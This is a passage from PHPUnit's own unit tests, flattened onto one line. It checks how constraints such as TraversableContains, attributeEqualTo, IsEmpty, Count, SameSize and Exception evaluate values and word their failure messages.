@covers PHPUnit_Framework_Constraint_TraversableContains * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayNotContains2() { $constraint = PHPUnit_Framework_Assert::logicalNot( new PHPUnit_Framework_Constraint_TraversableContains('foo') ); try { $constraint->evaluate(['foo'], 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that an array does not contain 'foo'. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_TraversableContains * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintSplObjectStorageContains() { $object = new StdClass; $constraint = new PHPUnit_Framework_Constraint_TraversableContains($object); $this->assertStringMatchesFormat('contains stdClass Object &%s ()', $constraint->toString()); $storage = new SplObjectStorage; $this->assertFalse($constraint->evaluate($storage, '', true)); $storage->attach($object); $this->assertTrue($constraint->evaluate($storage, '', true)); try { $constraint->evaluate(new SplObjectStorage); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertStringMatchesFormat( <<<EOF Failed asserting that a traversable contains stdClass Object &%x (). EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_TraversableContains * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintSplObjectStorageContains2() { $object = new StdClass; $constraint = new PHPUnit_Framework_Constraint_TraversableContains($object); try { $constraint->evaluate(new SplObjectStorage, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertStringMatchesFormat( <<<EOF custom message Failed asserting that a traversable contains stdClass Object &%x (). EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Assert::attributeEqualTo * @covers PHPUnit_Framework_Constraint_Attribute * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testAttributeEqualTo() { $object = new ClassWithNonPublicAttributes; $constraint = PHPUnit_Framework_Assert::attributeEqualTo('foo', 1); $this->assertTrue($constraint->evaluate($object, '', true)); $this->assertEquals('attribute "foo" is equal to 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); $constraint = PHPUnit_Framework_Assert::attributeEqualTo('foo', 2); $this->assertFalse($constraint->evaluate($object, '', true)); try { $constraint->evaluate($object); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that attribute "foo" is equal to 2. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Assert::attributeEqualTo * @covers PHPUnit_Framework_Constraint_Attribute * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testAttributeEqualTo2() { $object = new ClassWithNonPublicAttributes; $constraint = PHPUnit_Framework_Assert::attributeEqualTo('foo', 2); try { $constraint->evaluate($object, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message\nFailed asserting that attribute "foo" is equal to 2. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Assert::attributeEqualTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_Constraint_Attribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testAttributeNotEqualTo() { $object = new ClassWithNonPublicAttributes; $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::attributeEqualTo('foo', 2) ); $this->assertTrue($constraint->evaluate($object, '', true)); $this->assertEquals('attribute "foo" is not equal to 2', $constraint->toString()); $this->assertEquals(1, count($constraint)); $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::attributeEqualTo('foo', 1) ); $this->assertFalse($constraint->evaluate($object, '', true)); try { $constraint->evaluate($object); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that attribute "foo" is not equal to 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Assert::attributeEqualTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_Constraint_Attribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testAttributeNotEqualTo2() { $object = new ClassWithNonPublicAttributes; $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::attributeEqualTo('foo', 1) ); try { $constraint->evaluate($object, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message\nFailed asserting that attribute "foo" is not equal to 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEmpty * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsEmpty() { $constraint = new PHPUnit_Framework_Constraint_IsEmpty; $this->assertFalse($constraint->evaluate(['foo'], '', true)); $this->assertTrue($constraint->evaluate([], '', true)); $this->assertFalse($constraint->evaluate(new ArrayObject(['foo']), '', true)); $this->assertTrue($constraint->evaluate(new ArrayObject([]), '', true)); $this->assertEquals('is empty', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(['foo']); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that an array is empty. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEmpty * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsEmpty2() { $constraint = new PHPUnit_Framework_Constraint_IsEmpty; try { $constraint->evaluate(['foo'], 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message\nFailed asserting that an array is empty. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_Count */ public function testConstraintCountWithAnArray() { $constraint = new PHPUnit_Framework_Constraint_Count(5); $this->assertTrue($constraint->evaluate([1, 2, 3, 4, 5], '', true)); $this->assertFalse($constraint->evaluate([1, 2, 3, 4], '', true)); } /** * @covers PHPUnit_Framework_Constraint_Count */ public function testConstraintCountWithAnIteratorWhichDoesNotImplementCountable() { $constraint = new PHPUnit_Framework_Constraint_Count(5); $this->assertTrue($constraint->evaluate(new TestIterator([1, 2, 3, 4, 5]), '', true)); $this->assertFalse($constraint->evaluate(new TestIterator([1, 2, 3, 4]), '', true)); } /** * @covers PHPUnit_Framework_Constraint_Count */ public function testConstraintCountWithAnObjectImplementingCountable() { $constraint = new PHPUnit_Framework_Constraint_Count(5); $this->assertTrue($constraint->evaluate(new ArrayObject([1, 2, 3, 4, 5]), '', true)); $this->assertFalse($constraint->evaluate(new ArrayObject([1, 2, 3, 4]), '', true)); } /** * @covers PHPUnit_Framework_Constraint_Count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintCountFailing() { $constraint = new PHPUnit_Framework_Constraint_Count(5); try { $constraint->evaluate([1, 2]); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that actual size 2 matches expected size 5. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_Count * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotCountFailing() { $constraint = PHPUnit_Framework_Assert::logicalNot( new PHPUnit_Framework_Constraint_Count(2) ); try { $constraint->evaluate([1, 2]); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that actual size 2 does not match expected size 2. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_SameSize */ public function testConstraintSameSizeWithAnArray() { $constraint = new PHPUnit_Framework_Constraint_SameSize([1, 2, 3, 4, 5]); $this->assertTrue($constraint->evaluate([6, 7, 8, 9, 10], '', true)); $this->assertFalse($constraint->evaluate([1, 2, 3, 4], '', true)); } /** * @covers PHPUnit_Framework_Constraint_SameSize */ public function testConstraintSameSizeWithAnIteratorWhichDoesNotImplementCountable() { $constraint = new PHPUnit_Framework_Constraint_SameSize(new TestIterator([1, 2, 3, 4, 5])); $this->assertTrue($constraint->evaluate(new TestIterator([6, 7, 8, 9, 10]), '', true)); $this->assertFalse($constraint->evaluate(new TestIterator([1, 2, 3, 4]), '', true)); } /** * @covers PHPUnit_Framework_Constraint_SameSize */ public function testConstraintSameSizeWithAnObjectImplementingCountable() { $constraint = new PHPUnit_Framework_Constraint_SameSize(new ArrayObject([1, 2, 3, 4, 5])); $this->assertTrue($constraint->evaluate(new ArrayObject([6, 7, 8, 9, 10]), '', true)); $this->assertFalse($constraint->evaluate(new ArrayObject([1, 2, 3, 4]), '', true)); } /** * @covers PHPUnit_Framework_Constraint_SameSize * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintSameSizeFailing() { $constraint = new PHPUnit_Framework_Constraint_SameSize([1, 2, 3, 4, 5]); try { $constraint->evaluate([1, 2]); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that actual size 2 matches expected size 5. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_SameSize * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotSameSizeFailing() { $constraint = PHPUnit_Framework_Assert::logicalNot( new PHPUnit_Framework_Constraint_SameSize([1, 2]) ); try { $constraint->evaluate([3, 4]); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that actual size 2 does not match expected size 2. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_Exception * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintException() { $constraint = new PHPUnit_Framework_Constraint_Exception('FoobarException'); $exception = new DummyException('Test'); $stackTrace = PHPUnit_Util_Filter::getFilteredStacktrace($exception); try { $constraint->evaluate($exception); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that exception of type "DummyException" matches expected exception "FoobarException". Message was: "Test" at $stackTrace. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * Removes spaces in front of newlines * * @param string $string * * @return string */ private function trimnl($string) { return preg_replace('/[ ]*\n/', "\n", $string); } }